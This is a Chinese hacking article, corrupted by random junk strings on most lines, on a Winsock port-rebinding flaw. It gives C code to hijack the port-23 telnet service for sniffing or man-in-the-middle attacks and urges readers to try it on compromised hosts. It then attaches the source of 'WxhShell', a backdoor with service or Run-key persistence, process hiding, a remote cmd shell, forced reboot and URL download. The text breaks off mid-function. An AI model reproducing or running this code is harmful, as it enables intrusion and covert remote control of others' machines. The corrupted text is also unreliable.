在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
e/r41 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
"e69aAA, Lf3Ri/@ p saddr.sin_family = AF_INET;
>O&(G0!N+} j_L 'Ztu3 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
y/$WjFj3" ]\v'1m" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
`a["`N^ d8C?m*3J 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
f h)Cz) 2_x}wB0P 这意味着什么?意味着可以进行如下的攻击:
|n \HxU3 e-ljwCD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
X)e6Y{vO N0O8to}V 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
glH&v8 6^H64jM 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
2IFri|;-eb ^'lx5+- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
e#:.JbJ:D uH^/\ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
.</d$FM JE b*',(J94 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
]ctUl#j 8Focs p2
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
X-|`|>3E
$ z1u>{ #include
7m~+HM\ #include
Uq<c+4)5 #include
}y(1mzb #include
~k/'_1)c DWORD WINAPI ClientThread(LPVOID lpParam);
_VMW-trG int main()
W2O
=dG` {
LcoJltY{5 WORD wVersionRequested;
t.t$6+"5We DWORD ret;
|g;hXr#~ WSADATA wsaData;
'v GrbmK BOOL val;
Y#V`i K SOCKADDR_IN saddr;
jX-v9eaA SOCKADDR_IN scaddr;
3!_y@sWx int err;
elG<\[ SOCKET s;
U ; JZN SOCKET sc;
\U(qv(T int caddsize;
F-R4S^eV HANDLE mt;
ZN~:^,PO/ DWORD tid;
"^fcXV9Wp wVersionRequested = MAKEWORD( 2, 2 );
H{VVxj err = WSAStartup( wVersionRequested, &wsaData );
!X$e;V"HX if ( err != 0 ) {
/csj(8^w printf("error!WSAStartup failed!\n");
3BAls+<p o return -1;
q!\K!W \ }
\rn:/ saddr.sin_family = AF_INET;
s$4!?b$tw )[|TxXz
d //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
kl4FVZof ( n;# Z, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
jAB~XaT , saddr.sin_port = htons(23);
o9(:m if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'`p#%I@ {
x9 bfH1 printf("error!socket failed!\n");
St7ZyN1 return -1;
qa)X\0 }
)cJ9YKKy val = TRUE;
zlco?Rt //SO_REUSEADDR选项就是可以实现端口重绑定的
=3$JeNK9 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Qh<_/X? {
w6zB uW printf("error!setsockopt failed!\n");
wwE`YY return -1;
~OD}` }
V|e9G,z~A //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
VI:
!# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
es 8%JTi //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&<2~7?$! m X{_B!j^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;9PJ K5>~ {
87l(a,#J ret=GetLastError();
62TWqQ!9d printf("error!bind failed!\n");
kG@~;*;l return -1;
9dn~nnd'n }
Jz(wXp
listen(s,2);
btoye \rl while(1)
JnQ5r>!>3 {
_LU]5$\b caddsize = sizeof(scaddr);
=&jLwy //接受连接请求
o *)>aw sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
L}5nq@Uu) if(sc!=INVALID_SOCKET)
.xo#rt9_"= {
LfOXgn\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
B*!{LjXV if(mt==NULL)
o9&1Ct {
hC2 @Gq printf("Thread Creat Failed!\n");
! eXDN break;
d#xi_L! }
M6l S2 }
!E">r CloseHandle(mt);
Y`
t-Bg!~ }
Teh
_ closesocket(s);
-XBD WV WSACleanup();
i,|2F9YH return 0;
`d]D=DtH }
-i*{8t DWORD WINAPI ClientThread(LPVOID lpParam)
RG[b+Qjn {
}TE4)vXs SOCKET ss = (SOCKET)lpParam;
7vO3+lT/Y; SOCKET sc;
t)o!OEnE unsigned char buf[4096];
g:<2yT SOCKADDR_IN saddr;
7.U
CX" long num;
50h?#u6? DWORD val;
F7[ 55RcP DWORD ret;
}8tD|t[ //如果是隐藏端口应用的话,可以在此处加一些判断
a^/j&9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
j`tBki: saddr.sin_family = AF_INET;
1~rZka[s saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
R@zl?>+ saddr.sin_port = htons(23);
}\Kki if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<4UF/G) {
H{qQ8j) printf("error!socket failed!\n");
BN\Y
N return -1;
L
*",4! }
bit@Kv1<C val = 100;
Tk1U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'PiQ|Nnb| {
[HO=ii]Wb ret = GetLastError();
.YOC|\ return -1;
f4{O~?= }
/A$mP)}tz if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
yvN;|R
{
gLp7<gx6 ret = GetLastError();
(b!`klQ return -1;
)/uu~9SFd }
v:.`~h/b if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
U4PnQ
K, {
-hv<8bC~4 printf("error!socket connect failed!\n");
sUl/9VKl closesocket(sc);
A_nu:K- closesocket(ss);
Z'/sZ3Q} return -1;
RC{|:@]8 }
6IRzm6d while(1)
.zDm{_' {
|Iq#Q3w //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)S~ySiJ<U //如果是嗅探内容的话,可以再此处进行内容分析和记录
oW7\T!f //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
&4]~s:F num = recv(ss,buf,4096,0);
lJ y\Ky(* if(num>0)
A\xvzs.d send(sc,buf,num,0);
8<#S:O4kA else if(num==0)
oY;=$8y<q break;
P[q` {TdV num = recv(sc,buf,4096,0);
slPLc if(num>0)
1uz7E send(ss,buf,num,0);
EGD&/%aC else if(num==0)
#0*OkZMt break;
Dq$co1eT }
R>|)-"b( ` closesocket(ss);
6,J:sm\ closesocket(sc);
$<c;xDO&t return 0 ;
0xZX%2E }
7R4xJ H -`d9dJ dB \~ACWF7l ==========================================================
uIeD.I'@{5 O C qI 下边附上一个代码,,WXhSHELL
-XcX1_ :Ca]/ ]] ==========================================================
;_]Z3 e3YdHp #include "stdafx.h"
I{rW+<)QGC ^TWMYF- #include <stdio.h>
85fv] )\y #include <string.h>
E
0k1yA #include <windows.h>
7E4Xvg+c #include <winsock2.h>
HW,2x} [ #include <winsvc.h>
vH`m
W`= #include <urlmon.h>
aM2[<m} *Y!c6eA #pragma comment (lib, "Ws2_32.lib")
9bE/7v #pragma comment (lib, "urlmon.lib")
}iu(-{Z 97XGJ1HI #define MAX_USER 100 // 最大客户端连接数
Td|x~mZv: #define BUF_SOCK 200 // sock buffer
P. V # #define KEY_BUFF 255 // 输入 buffer
qjc8 $#zXS qYi<GI*|@ #define REBOOT 0 // 重启
gr&Rkuyfv #define SHUTDOWN 1 // 关机
<;T$?J9 {\87]xJ #define DEF_PORT 5000 // 监听端口
Hf^Tok^6@] LEM^8G]O #define REG_LEN 16 // 注册表键长度
|N^z=g P[ #define SVC_LEN 80 // NT服务名长度
kVG]zt2 NEY
b-#v // 从dll定义API
h3z=tu[' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
xQKD1#y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?n]e5R(cj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
(l~3~n typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;:0gN|+ slV7,4S&! // wxhshell配置信息
y%9Q]7&= struct WSCFG {
qrq9NPf int ws_port; // 监听端口
P2Or|_z char ws_passstr[REG_LEN]; // 口令
KR4vcI[4 int ws_autoins; // 安装标记, 1=yes 0=no
G\HU%J char ws_regname[REG_LEN]; // 注册表键名
r]0UF0# char ws_svcname[REG_LEN]; // 服务名
[u=DAk?8 char ws_svcdisp[SVC_LEN]; // 服务显示名
K9BoIHo char ws_svcdesc[SVC_LEN]; // 服务描述信息
TAXl73j_CY char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~582'-=+ int ws_downexe; // 下载执行标记, 1=yes 0=no
KPT@I3P char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
p]7Gj&a char ws_filenam[SVC_LEN]; // 下载后保存的文件名
;4g_~fB #9 Fe, };
TLkJZ4}?Q /p&)bL // default Wxhshell configuration
@|2}*_3\ struct WSCFG wscfg={DEF_PORT,
(ex^=fv "xuhuanlingzhe",
guD?~-Q 1,
lQ}e"#< "Wxhshell",
&dC #nw "Wxhshell",
@3UVl^T "WxhShell Service",
=XT'D@q~W "Wrsky Windows CmdShell Service",
wu2AhMGmw "Please Input Your Password: ",
h/CF^0m"! 1,
$_.m< "
http://www.wrsky.com/wxhshell.exe",
gUrb\X "Wxhshell.exe"
TF@HwF"# };
wq( m%F /@*J\0h(- // 消息定义模块
JKFV7{%Gl char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
0M?nXHA[ char *msg_ws_prompt="\n\r? for help\n\r#>";
vGk}r char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
rLzYkZ char *msg_ws_ext="\n\rExit.";
>QusXD"L> char *msg_ws_end="\n\rQuit.";
;-G!jWt6Zi char *msg_ws_boot="\n\rReboot...";
qwb`8o char *msg_ws_poff="\n\rShutdown...";
-CTsB)=\, char *msg_ws_down="\n\rSave to ";
>Kd(.r[Er (5"BKu1t char *msg_ws_err="\n\rErr!";
cZ"
Ut char *msg_ws_ok="\n\rOK!";
's]+.3">L1 B) 81mcy char ExeFile[MAX_PATH];
\I\'c.$I.Y int nUser = 0;
@QAyXwp HANDLE handles[MAX_USER];
wmNc)P4 int OsIsNt;
Wu
71q= OGy/8B2c SERVICE_STATUS serviceStatus;
p,?8s% SERVICE_STATUS_HANDLE hServiceStatusHandle;
'9,14e6 lB\"*K; // 函数声明
P80z@! int Install(void);
n},~2 int Uninstall(void);
n9zS'VU int DownloadFile(char *sURL, SOCKET wsh);
\w
6%J77 int Boot(int flag);
$Xlyc.8YId void HideProc(void);
r|Y|uv0 int GetOsVer(void);
4LU'E%vlC int Wxhshell(SOCKET wsl);
NRS!Ox void TalkWithClient(void *cs);
mne^PSI: int CmdShell(SOCKET sock);
nI4xK int StartFromService(void);
T#lySev int StartWxhshell(LPSTR lpCmdLine);
Kis\Rg u1 uu_* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Bx&.Tj VOID WINAPI NTServiceHandler( DWORD fdwControl );
J3sO%4sYR k3m|I*_\L // 数据结构和表定义
p6V`b'*> SERVICE_TABLE_ENTRY DispatchTable[] =
f77uqv(Y {
*it(o {wscfg.ws_svcname, NTServiceMain},
];P^q`n=. {NULL, NULL}
Ih}I`wY- };
K/~+bq#+ HrA6wn\O // 自我安装
Xu1l6jr_ int Install(void)
u.gh04{5 {
*JG?^G"l char svExeFile[MAX_PATH];
6e@
O88= HKEY key;
Z`xz |:D+ strcpy(svExeFile,ExeFile);
bOCdf"!g dXh@E7 // 如果是win9x系统,修改注册表设为自启动
1Tn!.E * if(!OsIsNt) {
E<3hy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3zb;q@JV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y+RT[*bX5o RegCloseKey(key);
*@Z/L26s;= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
sBIqee'T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0EM`,?i .Q RegCloseKey(key);
#R|M(Z">q return 0;
laM0W5 }
g 1\4Jb }
u[U~`*i*rA }
do{#y*B/g! else {
NQ<~$+{ I}Z[F,}*J // 如果是NT以上系统,安装为系统服务
-A9 !Y{Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Y#PbC if (schSCManager!=0)
,{c9Lv%@J {
#VC^><)3 SC_HANDLE schService = CreateService
(j u-r*0 (
RR:m<9l schSCManager,
[pbX_ wscfg.ws_svcname,
T\:3(+uK wscfg.ws_svcdisp,
=&,zWNz) SERVICE_ALL_ACCESS,
=~Jv*c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
zQ
{g~x SERVICE_AUTO_START,
GI$t8{M SERVICE_ERROR_NORMAL,
',0~ \V svExeFile,
) BTJs)E NULL,
]}9y>+> NULL,
#;H,`r NULL,
*&e+z-E NULL,
)dLESk NULL
i{VjSWq );
F|V_iC+ if (schService!=0)
#hd<5+$U}l {
UhY
)rezh CloseServiceHandle(schService);
d\, 4Wet;# CloseServiceHandle(schSCManager);
UL[4sv6\9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
~`hI|i<] strcat(svExeFile,wscfg.ws_svcname);
R*TCoEKO if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
8N6a= [fv< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^lu)'z%6 RegCloseKey(key);
AnPm5i. return 0;
/[[zAq{OA }
scqG$~O) }
C3 0b}2 CloseServiceHandle(schSCManager);
i TD}gC }
"JVzv U] }
D +)6#i
Y S:vv*5 return 1;
{H $\, }
dqUhp_f2qK F4Ft~:a // 自我卸载
U3lr<(r* int Uninstall(void)
j1YE_U {
HcHfwLin0 HKEY key;
%8$JL=c ^i-%FY_i5} if(!OsIsNt) {
\9se~tAl3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jXi<ZJ RegDeleteValue(key,wscfg.ws_regname);
ynM{hN.+ H RegCloseKey(key);
o^&;
`XOd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
N,'JQch},8 RegDeleteValue(key,wscfg.ws_regname);
(L|SE4 RegCloseKey(key);
[X^JV/R return 0;
v.6"<nT2 }
=]xNpX) }
.1I];Cy0D }
r'&9'rir2 else {
9aZ3W<N`M kc8GnKM&mc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6{azzk8 if (schSCManager!=0)
K^{`8E&A {
Cqg}dXn' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
2y_rsu\ if (schService!=0)
J~gfMp. {
gSR&CnqZ< if(DeleteService(schService)!=0) {
dhK$XG CloseServiceHandle(schService);
a4`@z:l CloseServiceHandle(schSCManager);
7R))(- return 0;
e,~c~Db*
Q }
o,\%c"mC CloseServiceHandle(schService);
V]k!] }
{k?Y: CloseServiceHandle(schSCManager);
.j}u'!LKul }
5\=9&{WjND }
(m04Z2# mZ/B:)_ return 1;
1LPfn( }
c_ygwO3.Q f!LZT! y // 从指定url下载文件
crgYr$@s? int DownloadFile(char *sURL, SOCKET wsh)
[b#jw,7 {
b1[U9 HRESULT hr;
i $I|JJJ char seps[]= "/";
:-"J)^V char *token;
{]D!@87 char *file;
x;Gyo char myURL[MAX_PATH];
k}lx!Ck char myFILE[MAX_PATH];
Z7.)[
; R@VO3zs W strcpy(myURL,sURL);
8!UZ.. token=strtok(myURL,seps);
z%Z}vWn while(token!=NULL)
iU%Gvf^?'5 {
HENCQ_Wra file=token;
)&R;!#;5 token=strtok(NULL,seps);
['R=@. }
hLm9"N'Pf &-b=gnT GetCurrentDirectory(MAX_PATH,myFILE);
*?K`T^LS strcat(myFILE, "\\");
oQyG strcat(myFILE, file);
.k*2T<p$rC send(wsh,myFILE,strlen(myFILE),0);
)D[xY0Y~ send(wsh,"...",3,0);
}7.q[ ^oF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
EL}v>sC if(hr==S_OK)
f2yv7t
T return 0;
=]zPUzr,| else
--^D)n return 1;
rXm!3E6JL A\#?rK }
<BU|?T6~ 'h=
>ej* // 系统电源模块
*e>:K$r int Boot(int flag)
e0$mu?wd- {
bR8)s{p6 HANDLE hToken;
SD.ze(P TOKEN_PRIVILEGES tkp;
OT *W]f .ERO*Tj if(OsIsNt) {
2~`dV_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
,o}[q92@w LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
I^ >zr.zA tkp.PrivilegeCount = 1;
-+PPz?0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
c''O+,L1+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
rSJ}qRXwU if(flag==REBOOT) {
i@I %$!cB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ix# return 0;
D$mrnm4d }
l:|Fs=\ else {
@2$8o]et if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
}`M6+.z3F return 0;
4xYo2X,B }
u?J(l)gd }
]_pL79y else {
HkV/+ {;S~ if(flag==REBOOT) {
~%}g"|o if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[`b{eLCFX] return 0;
^7''x,I }
mY
AFruN else {
>L;O, {Px- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
% (.PRRI return 0;
3PEs$m9e }
}GC{~
SZ4 }
(\I =v". }I10hy~W return 1;
qB:`tHy }
Hb$q}1+y mzw*6e2T // win9x进程隐藏模块
h/k`+ void HideProc(void)
nSC>x:jY5/ {
a,E;R$[! jCl[!L5/1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
LgnGqIlx if ( hKernel != NULL )
w:N2
xI {
37[C^R!1c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Uy_=#&jg ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
2~4C5@SxL FreeLibrary(hKernel);
8`~]9ej }
Tc*PDt0C <f*0 XJ# return;
p4Y9$(X }
FV9RrI2 HkN +: // 获取操作系统版本
Rta P+6'X int GetOsVer(void)
MDq @:t {
+vnaEy OSVERSIONINFO winfo;
dkLR
Q
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*,pqpD> GetVersionEx(&winfo);
h`Mf;'P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
p(8\w-6 return 1;
:Rn9rdX else
xle29:?l return 0;
+W1rm$Q }
k8JPu"R 9x1Dyz 2?F // 客户端句柄模块
PA/6l"-`3 int Wxhshell(SOCKET wsl)
b1OB'P8
{
DNy)\+[
SOCKET wsh;
# 9t/j`{ struct sockaddr_in client;
@e7+d@O< DWORD myID;
3IkG*enI Pm_= while(nUser<MAX_USER)
21[F%,{.), {
IW#(ICeb int nSize=sizeof(client);
#n"/9%35f` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
?xet:#R' if(wsh==INVALID_SOCKET) return 1;
Txh;r.1e
jZ;T&s handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
t]ZSo- if(handles[nUser]==0)
!jbjrzv9 closesocket(wsh);
T,fz/5w else
z|2liQrf+ nUser++;
KOQTvJ_# }
m+=!Z|K WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
S`G\Cd;5 [ZbK)L+_ return 0;
&)l:m. }
i&$uG[&P #o RUH8 // 关闭 socket
Sf8d|R@O void CloseIt(SOCKET wsh)
}NXESZYoi {
2~<0<^j/] closesocket(wsh);
{V8Pn2mlo nUser--;
D/WS ExitThread(0);
{JgN^R<5<f }
OOCeZ3yF( kWd'gftQ // 客户端请求句柄
[oj"Tn( void TalkWithClient(void *cs)
SXEiyy[7v {
ht|r+v- >`:+d'Jv0 SOCKET wsh=(SOCKET)cs;
66*o2D\Q*G char pwd[SVC_LEN];
qo;\dp1 char cmd[KEY_BUFF];
8(}sZ)6 char chr[1];
*`#,^p`j
b int i,j;
TRZ^$<AG .vO.g/o while (nUser < MAX_USER) {
Y"qY@` |@BN+o;`Om if(wscfg.ws_passstr) {
UVK"%kW#( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
y#+o*(=fRE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
? la_ +;m //ZeroMemory(pwd,KEY_BUFF);
f#5JAR i=0;
4lA+V,# while(i<SVC_LEN) {
K^Ht$04 z"3c+?2 // 设置超时
(zBQ^97] fd_set FdRead;
Z3dd9m#.] struct timeval TimeOut;
+$t%L FD_ZERO(&FdRead);
eXK`%' FD_SET(wsh,&FdRead);
9K|lU:, TimeOut.tv_sec=8;
}U9jsm TimeOut.tv_usec=0;
N6;Z\\&0^q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
j,XKu5w)Oi if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
1RA$hW@} )^TQedF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
PS6`o pwd
=chr[0]; cy 4'q?r
if(chr[0]==0xd || chr[0]==0xa) { Pc'?p
pwd=0; N+5^h(~
break; gEP
E9ew
} %S.U`(.
i++; {%{GZ
} cAS_?"V
a
0K ?(xB
// 如果是非法用户,关闭 socket YHYB.H)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W#j,{&KVn
} U[l%oLra
mx~sxYa
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d&`j8O
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jm\#($gl=
#Uh 5tc
while(1) { "ux]kfoT
)\vHIXnfJ1
ZeroMemory(cmd,KEY_BUFF); {R;M`EU>
yU,xcq~l
// 自动支持客户端 telnet标准 p'~5[JR:
j=0; 31& .Lnq
while(j<KEY_BUFF) { tY=%@v'6?
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
c^s>
cmd[j]=chr[0]; ,rQ)TT
if(chr[0]==0xa || chr[0]==0xd) { 'qAfei']
cmd[j]=0; r%d11[z
break; a}fClI-u
} Yj6p19
j++; "Q{~Bj~
} 4/?}xD|?
_~Vz+nT
// 下载文件 ~uadivli
if(strstr(cmd,"http://")) { S7{.liHf
send(wsh,msg_ws_down,strlen(msg_ws_down),0); % VpBB
if(DownloadFile(cmd,wsh)) nM-SDVFM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DWQQ615i
else mndl~/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l-}5@D[
} I^(#\vRW
else { Aq%^>YAp
?3TV:fx"X
switch(cmd[0]) { ?VQLY=?
/;6@M=6u
// 帮助 h;qy5KS
case '?': { ^alZ\!B8
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R2THL
break; Wx$q:$h@q
} FJ8@b
// 安装 K#hY bDm
case 'i': { qO{ ZZ*
if(Install()) 2,V+?'^j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PMhhPw]
else jUvA<r
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _G #"B{7
break; 'h>5&=r
} lc7a@qnw
// 卸载 bDBO+qA
case 'r': { zL`uiZl
if(Uninstall()) `(/saq*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e>9Z:vY
else Yc`j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X|E+K
break; rw[ {@|)'z
} A]Tcj^#
// 显示 wxhshell 所在路径 ,GkW. vEU
case 'p': { ds;cfj[
char svExeFile[MAX_PATH]; nVn|$ "r
strcpy(svExeFile,"\n\r"); ywynx<Wg
strcat(svExeFile,ExeFile); Kt,ynA
send(wsh,svExeFile,strlen(svExeFile),0); 34wM%@D*c
break; t-*|Hfp*^
} ?4[Oh/]R
// 重启 SiqX1P
case 'b': { }BdVD t
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dIpW!Pj^
if(Boot(REBOOT)) 8+
F}`lLA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D`:d'ow~KQ
else { 6$s0-{^
closesocket(wsh); br;H8-
ExitThread(0); ()M@3={R
} 7k=F6k0)
break; B$TChc3B
} MiH}VfI
// 关机 6w"( y~c1
case 'd': { @D~+D@i$TW
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
'nWs0iH.
if(Boot(SHUTDOWN)) 9/1+BQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p^igscPF6
else { $@_t5?n``F
closesocket(wsh); J4v0O="
ExitThread(0); gZl w
} \DU^idp#
break; xD GS`U
} guOSO@
// 获取shell PN"8 Y
case 's': { .6ngo0<g
CmdShell(wsh); H >:4MY
closesocket(wsh); /8>0;bX+
ExitThread(0); 1%spzkE 3P
break; 6UW:l|}4#2
} 9Ue7
~"=
// 退出 %8bzs?QI
case 'x': { juMxl
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tpa^k
CloseIt(wsh); hB7pR"P
break; ^0~c7`k`V
} !/6\m!e|1R
// 离开 g+ }s:9
case 'q': { ;EJPrDHTk
send(wsh,msg_ws_end,strlen(msg_ws_end),0); inPE/Ux
closesocket(wsh); wD6!#t k
WSACleanup(); |O(-CDQe
exit(1); 8wX+ZL:9
break; yS)-&t!;
} w}j6.r
}
i}`_H^
} cK[R1 ReH
B)rr7B
// 提示信息 PW*;S p
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VX;zZ`BJ
} )
\-96 xd
} cophAP
g=xv+e
return; au~]
} -VWCD,c
=_8
UZk.
// shell模块句柄 @A2/@]H Bm
int CmdShell(SOCKET sock) eu}Fd@GO
{ B;GxfYj
STARTUPINFO si; L19MP
ZeroMemory(&si,sizeof(si)); x2C/L
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2y+70(E1
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _{e&@d
PROCESS_INFORMATION ProcessInfo; qRPc%"
char cmdline[]="cmd"; /&]-I$G@
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gefnk!;;
return 0; 3>Q@r>c
} Km)X_}|
8cK\myn.
// 自身启动模式 =w^TcV
int StartFromService(void) lf%b0na?r
{ >f\zCT%cf
typedef struct |66m` <
{ fJLf7+q
DWORD ExitStatus; #\pP2
DWORD PebBaseAddress; b JfD\
DWORD AffinityMask; #
0GGc.
DWORD BasePriority; <i}q=%W!1
ULONG UniqueProcessId; (PS$e~Hs
